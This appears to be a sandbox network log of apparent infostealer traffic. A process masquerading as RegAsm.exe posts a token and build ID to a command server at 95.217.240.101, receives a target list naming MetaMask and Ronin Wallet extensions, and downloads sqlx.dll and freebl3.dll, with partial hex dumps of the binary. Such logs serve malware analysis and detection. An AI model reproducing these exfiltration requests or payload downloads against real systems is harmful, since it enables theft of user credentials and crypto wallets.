2024-05-15 18:35:57 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 May 2024 18:35:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-15 18:35:57 UTC	119	IN	Data Raw: 36 63 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 46 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 0d 0a 30 0d 0a 0d 0a Data Ascii: 6cTWV0YU1hc2t8MXx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDF8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb2180

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49736	95.217.240.101	443	5984	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-15 18:35:58 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDAAKFIDGIEGDGDHIDAK User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1 Host: 95.217.240.101 Content-Length: 7081 Connection: Keep-Alive Cache-Control: no-cache
2024-05-15 18:35:58 UTC	7081	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 44 41 41 4b 46 49 44 47 49 45 47 44 47 44 48 49 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 65 32 31 31 34 63 33 34 34 37 31 38 63 32 37 34 30 63 37 66 38 63 38 35 38 36 36 62 61 62 39 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 41 4b 46 49 44 47 49 45 47 44 47 44 48 49 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 65 64 32 38 37 34 36 39 63 33 37 32 31 66 64 35 63 61 66 33 34 36 35 38 30 62 32 63 66 30 64 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 41 4b 46 49 44 47 49 45 47 44 47 44 48 49 44 41 4b 0d 0a 43 6f 6e 74 Data Ascii: ------GDAAKFIDGIEGDGDHIDAKContent-Disposition: form-data; name="token"5e2114c344718c2740c7f8c85866bab9------GDAAKFIDGIEGDGDHIDAKContent-Disposition: form-data; name="build_id"9ed287469c3721fd5caf346580b2cf0d------GDAAKFIDGIEGDGDHIDAKCont
2024-05-15 18:35:59 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 May 2024 18:35:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-15 18:35:59 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49737	95.217.240.101	443	5984	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-15 18:35:59 UTC	241	OUT	GET /sqlx.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1 Host: 95.217.240.101 Connection: Keep-Alive Cache-Control: no-cache
2024-05-15 18:36:00 UTC	248	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 May 2024 18:35:59 GMT Content-Type: application/octet-stream Content-Length: 2459136 Last-Modified: Sun, 12 May 2024 18:14:05 GMT Connection: close ETag: "664106ed-258600" Accept-Ranges: bytes
2024-05-15 18:36:00 UTC	16136	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZY
2024-05-15 18:36:00 UTC	16384	IN	Data Raw: cd 1e 00 e9 ba 58 1d 00 e9 7e 65 1b 00 e9 1b f0 1c 00 e9 01 21 1c 00 e9 b9 2a 1f 00 e9 d7 46 00 00 e9 92 83 17 00 e9 c5 ed 1e 00 e9 e8 57 03 00 e9 fa 7c 1b 00 e9 3e e1 00 00 e9 bd f4 1a 00 e9 b4 7c 00 00 e9 bf ca 1c 00 e9 4c db 1a 00 e9 31 31 1a 00 e9 34 e5 1c 00 e9 36 f1 1d 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: X~e!*FW\|>\|L1146
2024-05-15 18:36:00 UTC	16384	IN	Data Raw: 74 12 8a 50 01 3a 51 01 75 0e 83 c0 02 83 c1 02 84 d2 75 e4 33 c0 eb 05 1b c0 83 c8 01 85 c0 74 15 83 c6 0c 47 81 fe c0 03 00 00 72 bf 5f 5e b8 0c 00 00 00 5b c3 8d 0c 7f 8b 14 8d 38 25 24 10 8d 04 8d 34 25 24 10 85 d2 75 09 8b 10 89 14 8d 38 25 24 10 8b 4c 24 18 85 c9 5f 0f 44 ca 5e 89 08 33 c0 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 33 ff 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 53 6a 02 6a ff ff 74 24 1c 56 e8 78 0c 15 00 8b d8 83 c4 10 85 db 74 21 6a 00 ff 74 24 24 ff 74 24 24 ff 74 24 24 53 56 e8 9a 68 04 00 53 56 8b f8 e8 51 39 10 00 83 c4 20 80 7e 57 00 5b Data Ascii: tP:Quu3tGr_^[8%$4%$u8%$L$_D^3[Vt$W3FtPh $Sjjt$Vxt!jt$$t$$t$$SVhSVQ9 ~W[
2024-05-15 18:36:00 UTC	16384	IN	Data Raw: be 0e 83 f9 30 7d e9 89 74 24 74 81 e3 ff ff ff 7f 89 5c 24 30 83 f9 6c 75 35 4e 0f be 4e 01 46 89 74 24 74 85 c9 0f 85 f0 fd ff ff eb 21 0f be 4e 01 46 c6 44 24 37 01 89 74 24 74 83 f9 6c 75 0e 0f be 4e 01 46 89 74 24 74 c6 44 24 37 02 8b 44 24 38 33 f6 89 44 24 58 ba 70 53 21 10 c7 44 24 50 70 53 21 10 c6 44 24 2e 11 0f be 02 3b c8 74 16 83 c2 06 46 81 fa fa 53 21 10 7c ed 8a 4c 24 2e 8b 54 24 50 eb 19 8d 04 76 8a 0c 45 73 53 21 10 8d 14 45 70 53 21 10 89 54 24 50 88 4c 24 2e 0f b6 c1 83 f8 10 0f 87 d9 14 00 00 ff 24 85 24 e1 00 10 c6 44 24 37 01 c6 44 24 43 00 f6 42 02 01 0f 84 97 00 00 00 80 7c 24 2d 00 74 44 8b 74 24 70 8b 56 04 39 16 7f 22 0f 57 c0 66 0f 13 44 24 68 8b 4c 24 6c 8b 74 24 68 8a 54 24 35 89 74 24 28 89 4c 24 58 e9 f4 00 00 00 8b 46 08 Data Ascii: 0}t$t\$0lu5NNFt$t!NFD$7t$tluNFt$tD$7D$83D$XpS!D$PpS!D$.;tFS!\|L$.T$PvEsS!EpS!T$PL$.$$D$7D$CB\|$-tDt$pV9"WfD$hL$lt$hT$5t$(L$XF
2024-05-15 18:36:00 UTC	16384	IN	Data Raw: 24 14 3b c8 73 06 eb 0e 8b 44 24 14 8b c8 89 44 24 20 89 54 24 24 a1 08 22 24 10 03 44 24 10 99 8b f8 8b ea 85 f6 0f 85 6b 01 00 00 3b 6c 24 24 0f 8f 91 00 00 00 7c 08 3b f9 0f 83 87 00 00 00 8b 44 24 10 99 6a 00 8b ca c7 44 24 48 00 00 00 00 8d 54 24 48 89 44 24 38 52 51 50 55 57 89 4c 24 50 e8 38 3a ff ff 40 50 8b 44 24 34 50 8b 80 dc 00 00 00 ff d0 8b f0 83 c4 10 85 f6 75 1e 8b 54 24 1c 8b 44 24 44 55 57 ff 74 24 18 8b 0a ff 70 04 52 8b 41 0c ff d0 83 c4 14 8b f0 8b 44 24 44 85 c0 74 09 50 e8 dd f4 12 00 83 c4 04 03 7c 24 34 8b 4c 24 20 13 6c 24 38 85 f6 0f 84 6a ff ff ff e9 d0 00 00 00 8b 7c 24 1c 8d 4c 24 38 51 57 8b 07 8b 40 18 ff d0 8b f0 83 c4 08 85 f6 0f 85 b2 00 00 00 8b 4c 24 2c 39 4c 24 3c 7c 1e 7f 0a 8b 44 24 14 39 44 24 38 76 12 8b 07 51 ff Data Ascii: $;sD$D$ T$$"$D$k;l$$\|;D$jD$HT$HD$8RQPUWL$P8:@PD$4PuT$D$DUWt$pRAD$DtP\|$4L$ l$8j\|$L$8QW@L$,9L$<\|D$9D$8vQ
2024-05-15 18:36:00 UTC	16384	IN	Data Raw: 00 00 33 ff c7 40 0c 00 00 00 00 66 c7 40 11 01 00 8b 44 24 10 56 89 46 40 e8 3a 27 0d 00 83 c4 04 8b f0 eb 08 8b 7c 24 10 8b 74 24 0c 85 ff 0f 84 9d 00 00 00 83 47 10 ff 0f 85 93 00 00 00 ff 4b 3c 83 7f 08 01 75 0d 83 7f 0c 00 75 07 c7 43 1c ff ff ff ff 8b 07 85 c0 74 0e 50 53 e8 46 87 0a 00 83 c4 08 85 c0 75 0a 57 53 e8 38 88 0a 00 83 c4 08 57 53 e8 5e 81 0a 00 83 c4 08 83 3d 18 20 24 10 00 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 57 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 57 ff 15 3c 20 24 10 a1 38 82 24 10 83 c4 08 85 c0 74 13 50 ff 15 70 20 24 10 eb 07 57 ff 15 3c 20 24 10 83 c4 04 53 e8 a0 17 0d 00 83 c4 04 8b c6 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: 3@f@D$VF@:'\|$t$GK<uuCtPSFuWS8WS^= $tB8$tPh $WD $)$$W< $8$tPp $W< $S_^[]
2024-05-15 18:36:00 UTC	16384	IN	Data Raw: ff ff 0f b7 86 90 00 00 00 8b de 8b 54 24 10 8b 4c 24 24 8b 6c 24 20 89 47 10 8b 86 98 00 00 00 c1 e8 06 83 e0 01 89 54 24 10 89 47 14 80 bb 97 00 00 00 02 89 4c 24 14 0f 85 c8 fe ff ff b8 01 00 00 00 89 4c 24 14 89 54 24 10 e9 b8 fe ff ff 5f 5e 5d b8 07 00 00 00 5b 83 c4 18 c3 5f 5e 5d 33 c0 5b 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: T$L$$l$ GT$GL$L$T$_^][_^]3[
2024-05-15 18:36:00 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 7c 24 14 8b 46 10 8b 56 0c 8d 0c 80 8b 42 68 ff 74 88 fc ff 77 04 ff 37 e8 ac f3 11 00 83 c4 0c 85 c0 74 0b ff 37 56 e8 d3 67 fe ff 83 c4 08 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 2c 67 21 10 ff 74 24 14 e8 bc d7 0d 00 83 c4 14 c3 cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 Data Ascii: Vt$W\|$FVBhtw7t7Vg_^jjjh,g!t$jjjh
2024-05-15 18:36:00 UTC	16384	IN	Data Raw: 71 14 8b 41 08 f7 76 34 8b 46 38 8d 14 90 8b 02 3b c1 74 0d 0f 1f 40 00 8d 50 10 8b 02 3b c1 75 f7 8b 40 10 89 02 ff 4e 30 66 83 79 0c 00 8b 71 14 74 10 8b 46 3c 89 41 10 8b 46 04 89 4e 3c 5e ff 08 c3 ff 31 e8 6e 5a 0a 00 8b 46 04 83 c4 04 ff 08 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 4c 24 04 8b 54 24 10 56 57 8b 71 0c 85 f6 74 3c 8b 06 83 f8 01 74 1f 83 f8 02 74 1a 83 f8 05 74 15 33 ff 83 f8 03 75 26 bf 01 00 00 00 85 d7 74 1d 5f 33 c0 5e c3 83 7c 24 10 01 75 f4 83 7c 24 14 01 75 ed 5f b8 05 00 00 00 5e c3 33 ff 8b 41 04 52 ff 74 24 18 8b 08 ff 74 24 18 50 8b 41 38 ff d0 83 c4 10 85 ff 74 1c 85 c0 75 18 8b 4c 24 14 ba 01 00 00 00 d3 e2 8b 4c 24 10 4a d3 e2 09 96 c4 00 00 00 5f Data Ascii: qAv4F8;t@P;u@N0fyqtF<AFN<^1nZF^L$T$VWqt<ttt3u&t_3^\|$u\|$u_^3ARt$t$PA8tuL$L$J_
2024-05-15 18:36:00 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 6a 00 6a 00 68 50 45 24 10 68 e8 40 22 10 56 e8 25 83 14 00 83 c4 14 80 7e 57 00 75 04 33 ff eb 0d 6a 00 56 e8 d0 b5 01 00 83 c4 08 8b f8 8b 46 0c 85 c0 74 0a 50 ff 15 70 20 24 10 83 c4 04 8b c7 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b 7c 24 10 ff b7 dc 00 00 00 e8 6d f6 fd ff 83 c4 04 8d 77 3c bb 28 00 00 00 0f 1f 00 ff 36 e8 58 f6 fd ff 83 c4 04 8d 76 04 83 eb 01 75 ee 8b b7 f8 00 00 00 85 f6 74 54 39 1d 18 20 24 10 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 56 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 56 ff 15 3c 20 24 10 a1 38 82 24 10 83 Data Ascii: Vt$WFtPh $jjhPE$h@"V%~Wu3jVFtPp $_^SVW\|$mw<(6XvutT9 $tB8$tPh $VD $)$$V< $8$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49738	95.217.240.101	443	5984	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-15 18:36:02 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDAFIIDAKJDGDHIDAKJJ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1 Host: 95.217.240.101 Content-Length: 4677 Connection: Keep-Alive Cache-Control: no-cache
2024-05-15 18:36:02 UTC	4677	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 44 41 46 49 49 44 41 4b 4a 44 47 44 48 49 44 41 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 65 32 31 31 34 63 33 34 34 37 31 38 63 32 37 34 30 63 37 66 38 63 38 35 38 36 36 62 61 62 39 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 49 49 44 41 4b 4a 44 47 44 48 49 44 41 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 65 64 32 38 37 34 36 39 63 33 37 32 31 66 64 35 63 61 66 33 34 36 35 38 30 62 32 63 66 30 64 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 46 49 49 44 41 4b 4a 44 47 44 48 49 44 41 4b 4a 4a 0d 0a 43 6f 6e 74 Data Ascii: ------HDAFIIDAKJDGDHIDAKJJContent-Disposition: form-data; name="token"5e2114c344718c2740c7f8c85866bab9------HDAFIIDAKJDGDHIDAKJJContent-Disposition: form-data; name="build_id"9ed287469c3721fd5caf346580b2cf0d------HDAFIIDAKJDGDHIDAKJJCont
2024-05-15 18:36:03 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 May 2024 18:36:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-15 18:36:03 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49739	95.217.240.101	443	5984	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-15 18:36:03 UTC	326	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDAAKFIDGIEGDGDHIDAK User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1 Host: 95.217.240.101 Content-Length: 1529 Connection: Keep-Alive Cache-Control: no-cache
2024-05-15 18:36:03 UTC	1529	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 44 41 41 4b 46 49 44 47 49 45 47 44 47 44 48 49 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 65 32 31 31 34 63 33 34 34 37 31 38 63 32 37 34 30 63 37 66 38 63 38 35 38 36 36 62 61 62 39 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 41 4b 46 49 44 47 49 45 47 44 47 44 48 49 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 65 64 32 38 37 34 36 39 63 33 37 32 31 66 64 35 63 61 66 33 34 36 35 38 30 62 32 63 66 30 64 0d 0a 2d 2d 2d 2d 2d 2d 47 44 41 41 4b 46 49 44 47 49 45 47 44 47 44 48 49 44 41 4b 0d 0a 43 6f 6e 74 Data Ascii: ------GDAAKFIDGIEGDGDHIDAKContent-Disposition: form-data; name="token"5e2114c344718c2740c7f8c85866bab9------GDAAKFIDGIEGDGDHIDAKContent-Disposition: form-data; name="build_id"9ed287469c3721fd5caf346580b2cf0d------GDAAKFIDGIEGDGDHIDAKCont
2024-05-15 18:36:04 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 May 2024 18:36:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-15 18:36:04 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49740	95.217.240.101	443	5984	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-15 18:36:04 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBFIJEGIDBGIECAKKEGD User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1 Host: 95.217.240.101 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache
2024-05-15 18:36:04 UTC	437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 42 46 49 4a 45 47 49 44 42 47 49 45 43 41 4b 4b 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 65 32 31 31 34 63 33 34 34 37 31 38 63 32 37 34 30 63 37 66 38 63 38 35 38 36 36 62 61 62 39 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 49 4a 45 47 49 44 42 47 49 45 43 41 4b 4b 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 65 64 32 38 37 34 36 39 63 33 37 32 31 66 64 35 63 61 66 33 34 36 35 38 30 62 32 63 66 30 64 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 49 4a 45 47 49 44 42 47 49 45 43 41 4b 4b 45 47 44 0d 0a 43 6f 6e 74 Data Ascii: ------CBFIJEGIDBGIECAKKEGDContent-Disposition: form-data; name="token"5e2114c344718c2740c7f8c85866bab9------CBFIJEGIDBGIECAKKEGDContent-Disposition: form-data; name="build_id"9ed287469c3721fd5caf346580b2cf0d------CBFIJEGIDBGIECAKKEGDCont
2024-05-15 18:36:05 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 May 2024 18:36:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-15 18:36:05 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49741	95.217.240.101	443	5984	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-15 18:36:06 UTC	325	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFHCGHJDBFIIDGDHIJDB User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1 Host: 95.217.240.101 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache
2024-05-15 18:36:06 UTC	437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 65 32 31 31 34 63 33 34 34 37 31 38 63 32 37 34 30 63 37 66 38 63 38 35 38 36 36 62 61 62 39 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 39 65 64 32 38 37 34 36 39 63 33 37 32 31 66 64 35 63 61 66 33 34 36 35 38 30 62 32 63 66 30 64 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 43 47 48 4a 44 42 46 49 49 44 47 44 48 49 4a 44 42 0d 0a 43 6f 6e 74 Data Ascii: ------CFHCGHJDBFIIDGDHIJDBContent-Disposition: form-data; name="token"5e2114c344718c2740c7f8c85866bab9------CFHCGHJDBFIIDGDHIJDBContent-Disposition: form-data; name="build_id"9ed287469c3721fd5caf346580b2cf0d------CFHCGHJDBFIIDGDHIJDBCont
2024-05-15 18:36:07 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 May 2024 18:36:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-05-15 18:36:07 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49742	95.217.240.101	443	5984	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-15 18:36:07 UTC	220	OUT	GET /freebl3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Safari/605.1.15 Ddg/17.4.1 Host: 95.217.240.101 Cache-Control: no-cache
2024-05-15 18:36:08 UTC	246	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 May 2024 18:36:07 GMT Content-Type: application/octet-stream Content-Length: 685392 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: close ETag: "6315a9f4-a7550" Accept-Ranges: bytes
